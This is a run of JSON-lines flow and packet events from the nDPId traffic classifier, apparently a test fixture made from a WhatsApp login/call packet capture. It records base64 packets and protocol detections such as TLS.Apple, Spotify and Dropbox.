+00579{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1183,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582310,"pkt_ts_usec":667258,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACaDrsAAEARLu\/AqAIEHw1aMM46DZYAhtw8CAAAaiESpEIAAEIAbV8qcywo32NAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00578{"flow_id":54,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1184,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582310,"pkt_ts_usec":667847,"pkt_caplen":168,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":168,"pkt_l4_len":134,"pkt":"xiwDYGpkAPS5Jrv0CABFwACacW8AAEAR3DrAqAIEHw1KMM46DZYAhrcnCAAAaiESpEIAAMYoECn4BPzbT0FAAQBmAQAMg3Xe01iNThr0oMxz4g8yD3fN+Bpz1wfmSsMwaadvnUwroGLz0VM5S4DttzrmDPMSBOgeXpPF04uIBCkoaMH+hW2Svovhs3GWh\/N1CnZ6UVrnXy6FvDLog+b+F7o9EvQF2yeF"} +00449{"flow_id":40,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1187,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582311,"pkt_ts_usec":138615,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"xiwDYGpkAPS5Jrv0CABFAAA48BUAAEABu8TAqAIEW\/2wQQMDCIcAAAAARQAAjs3hAAAvEe6SW\/2wQcCoAgQlwc46AHoAAA=="} +00519{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":3,"flow_first_seen":1432582249235,"flow_last_seen":1432582249292,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.62.150.157","src_port":49194,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":3,"flow_first_seen":1432582249235,"flow_last_seen":1432582249292,"flow_tot_l4_data_len":96,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"93.62.150.157","src_port":49194,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":3,"flow_first_seen":1432582244297,"flow_last_seen":1432582244462,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.31","src_port":49164,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":3,"flow_first_seen":1432582244297,"flow_last_seen":1432582244462,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.31","src_port":49164,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":3,"flow_first_seen":1432582249235,"flow_last_seen":1432582249492,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.13","src_port":49198,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":36,"flow_packet_id":3,"flow_first_seen":1432582249235,"flow_last_seen":1432582249492,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.13","src_port":49198,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00525{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":3,"flow_first_seen":1432582250339,"flow_last_seen":1432582250618,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.13","src_port":49200,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00499{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":37,"flow_packet_id":3,"flow_first_seen":1432582250339,"flow_last_seen":1432582250618,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.13","src_port":49200,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":1,"flow_first_seen":1432582306376,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00524{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":3,"flow_first_seen":1432582245413,"flow_last_seen":1432582245576,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.8","src_port":49167,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"}} +00498{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1188,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":3,"flow_first_seen":1432582245413,"flow_last_seen":1432582245576,"flow_tot_l4_data_len":60,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.172.100.8","src_port":49167,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00824{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1195,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582313,"pkt_ts_usec":933947,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFMAAP8RdlIAAAAA\/\/\/\/\/wBEAEMBNOc2AQEGALYzLg0AKgAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00506{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1196,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":38,"flow_first_seen":1432582227604,"flow_last_seen":1432582260448,"flow_tot_l4_data_len":15928,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":419,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.178.104.12","src_port":49201,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00824{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1196,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582322,"pkt_ts_usec":995511,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFQAAP8RdlEAAAAA\/\/\/\/\/wBEAEMBNOctAQEGALYzLg0AMwAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00489{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1197,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1432582324191,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1197,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582324,"pkt_ts_usec":191957,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABIJmQAAEARzfDAqAIBwKgC\/+EV4RUANKgAU3BvdFVkcDCYJeGQmjjiDQABAARIlcID1NylhjSgAeWF26p2NNVFJFGe2SE="} +00522{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1197,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1432582324191,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1198,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":60,"flow_packet_id":1,"flow_first_seen":1432582331561,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.167.142.39","src_port":49197,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":60,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1198,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582331,"pkt_ts_usec":561251,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAowcFAAEAGFpTAqAIEEaeOJ8AtAbtkgHfvejCYYFAR\/\/+cbwAA"} +00423{"flow_id":60,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1200,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582331,"pkt_ts_usec":698151,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAo+xwAAO0GcDgRp44nwKgCBAG7wC16MJhgZIB38FARn\/78bwAA"} +00825{"flow_id":41,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1201,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582331,"pkt_ts_usec":780851,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/2DBiVgAcCABFAAFIRFUAAP8RdlAAAAAA\/\/\/\/\/wBEAEMBNOckAQEGALYzLg0APAAAAAAAAAAAAAAAAAAAAAAAANgwYlYAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwkBAwYPd1\/8LC45AgXcPQcB2DBiVgAcMwQAdqcADApMdWNhcy1pTWFj\/wAAAAAAAAAAAAAAAAAA"} +00424{"flow_id":60,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1203,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582331,"pkt_ts_usec":825450,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAo40dAAEAG9Q3AqAIEEaeOJ8AtAbtkgHfwejCYYVAQ\/\/6cbwAA"} +00490{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1204,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1432582324191,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00506{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1204,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":53,"flow_first_seen":1432582230648,"flow_last_seen":1432582264928,"flow_tot_l4_data_len":16580,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49204,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1204,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1432582336425,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01091{"flow_id":61,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1204,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582336,"pkt_ts_usec":425202,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAAISkNQAAEARYbbAqAIBwKgC\/0RcRFwB\/jsJeyJob3N0X2ludCI6IDMzNzUzNTk1OTMsICJ2ZXJzaW9uIjogWzEsIDhdLCAiZGlzcGxheW5hbWUiOiAiIiwgInBvcnQiOiAxNzUwMCwgIm5hbWVzcGFjZXMiOiBbMTQ4MTkzMzcsIDE3NjA5OTYzLCAyMDY0OTM0OSwgMjg1MjE2MDcsIDU4MzQ0OTk2LCA2MDU5NDk4MywgNjQ0MzYwOTksIDk2ODUzMjI0LCA5OTQ2OTc3MywgMTAxMDQ3OTk2LCAxMDgxNTkxMDIsIDEyNTU0MDU2NiwgMTc2OTY0MzA3LCAyNDM2ODI5ODYsIDI0NzkyNTA4NSwgMjYwNDY1MjYxLCAyNzA0MDQ3NDIsIDI4Mzg2MTQ1NywgNDI0NTQwMTk3LCA0NDgzOTczOTMsIDQ1MTQ3MjY1OCwgNTExNzA2NjQyLCA1NjgzOTU4MzMsIDU5NDI0Njk1NCwgNTk4MDYxMDY2LCA2MTU5ODMzNzksIDcyMDA1ODM2MSwgNzM1MDUxODMwLCA3MzYzNDE1MjgsIDc0MTI1NTYxMywgNzc2MDg3MjQ3LCA3ODA4NzA1ODEsIDc4Mjk4MTk0OSwgNzg1MjY2MTc3LCA4MTg3NTI3MTAsIDg1NTY4MjM5MCwgODg0MTIwMTMyLCA5MDg5MTQ4NjhdfQ=="} +00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1204,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1432582336425,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1207,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":61,"flow_packet_id":1,"flow_first_seen":1432582336425,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1217,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":1,"flow_first_seen":1432582355253,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49205,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":62,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1217,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":253275,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkAPS5Jrv0CABFAABAz7ZAAEAGVELAqAIEEa1CZsA1Abt+ckUjAAAAALAC\/\/9LOwAAAgQFtAEDAwQBAQgKLfwhgQAAAAAEAgAA"} +00439{"flow_id":62,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1218,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":393148,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"APS5Jrv0xiwDYGpkCABFAAA009MAAO8G4TARrUJmwKgCBAG7wDWkxiaffnJFJIASH\/7nbQAAAgQFoAEDAwQBAQQC"} +00422{"flow_id":62,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1219,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":478348,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoTu9AAEAG1SHAqAIEEa1CZsA1Abt+ckUkpMYmoFAQQAAIJwAA"} +00731{"flow_id":62,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1220,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":482566,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"xiwDYGpkAPS5Jrv0CABFAAELcyVAAEAGsAjAqAIEEa1CZsA1Abt+ckUkpMYmoFAYQABJcgAAFgMBAN4BAADaAwNVY3jT+WAMBJPe1sSsxt7B5e33LtE3N+Ij9pRhB6MISiDnNWvFSuDQ9RWxNOp1GECdroi8RHuHNQND3XitCRrHVABKAP\/AJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAABHAAAAHQAbAAAYcDUzLWJ1eS5pdHVuZXMuYXBwbGUuY29tAAoACAAGABcAGAAZAAsAAgEAAA0ADAAKBQEEAQIBBAMCAzN0AAA="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1220,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":4,"flow_first_seen":1432582355253,"flow_last_seen":1432582355482,"flow_tot_l4_data_len":343,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":85,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49205,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p53-buy.itunes.apple.com","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00422{"flow_id":62,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1221,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":622036,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"APS5Jrv0xiwDYGpkCABFAAAo09YAAO8G4TkRrUJmwKgCBAG7wDWkxiagfnJGB1AQCgI9QgAA"} +00551{"flow_id":62,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1222,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":622106,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"APS5Jrv0xiwDYGpkCABFAACE09gAAO8G4NsRrUJmwKgCBAG7wDWkxiagfnJGB1AYCgJ94gAAFgMDAFECAABNAwNVY3jTQ3OzV2+3nXXm86LnOOTxKQsOBzom841n\/BAPASDnNWvFSuDQ9RWxNOp1GECdroi8RHuHNQND3XitCRrHVAAEAAAF\/wEAAQAUAwMAAQE="} +00816{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1222,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","flow_id":62,"flow_packet_id":6,"flow_first_seen":1432582355253,"flow_last_seen":1432582355622,"flow_tot_l4_data_len":475,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.4","dst_ip":"17.173.66.102","src_port":49205,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p53-buy.itunes.apple.com","ja3":"799135475da362592a4be9199d258726","ja3s":"c253ec3ad88e42f8da4032682892f9a0","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00475{"flow_id":62,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1223,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":624778,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"APS5Jrv0xiwDYGpkCABFAABN09oAAO8G4RARrUJmwKgCBAG7wDWkxib8fnJGB1AYCgK2NAAAFgMDACA6GyjsJmKuYnGv9\/VM4XmZSKbQP31R+VeHkrIAEtY9aA=="} +00424{"flow_id":62,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1224,"source":"whatsapp_login_call.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432582355,"pkt_ts_usec":683259,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"xiwDYGpkAPS5Jrv0CABFAAAoWCdAAEAGy+nAqAIEEa1CZsA1Abt+ckYHpMYm\/FAQP\/oG7gAA"} 